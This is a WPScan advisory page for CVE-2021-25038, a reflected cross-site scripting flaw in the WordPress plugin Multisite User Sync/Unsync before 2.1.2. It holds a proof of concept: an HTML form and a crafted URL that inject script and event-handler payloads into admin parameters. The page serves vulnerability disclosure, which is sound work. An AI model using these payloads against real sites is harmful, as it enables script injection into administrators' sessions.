WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Multisite User Sync/Unsync < 2.1.2 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the wmus_source_blog and wmus_record_per_page parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting issues

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/network/admin.php?page=wmus" method="POST">
      <input type="hidden" name="wmus_source_blog" value='1"><script>alert(/XSS-source_blog/)</script>' />
      <input type="hidden" name="wmus_record_per_page" value='10"><script>alert(/XSS-record/)</script>' />
      <input type="hidden" name="submit" value="Filter" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

https://example.com/wp-admin/network/admin.php?page=wmus&s=lxk1g%22+onfocus%3Dalert%281%29+autofocus%3D+xaycjmgr032&wmus_source_blog=1&wmus_record_per_page=12&wmus_sync_unsync=1&wmus_destination_blogs%5B0%5D=2&wmus_destination_blogs%5B1%5D=3&wmus_destination_blogs%5B2%5D=4&wmus_destination_blogs%5B3%5D=5&submit=Sync%2FUnsync
 

Affects Plugins

wordpress-multisite-user-sync
Fixed in version 2.1.2

References

CVE
CVE-2021-25038
URL
https://www.hackpertise.com/cve/27-cve-2021-25038/

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Asif Nawaz Minhas

Verified

Yes

WPVDB ID
72ccdcb9-3d24-41d7-b9fa-c8bd73d30aa6

Timeline

Publicly Published

2022-02-07 (about 1 years ago)

Added

2022-02-07 (about 1 years ago)

Last Updated

2023-04-12 (about 1 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us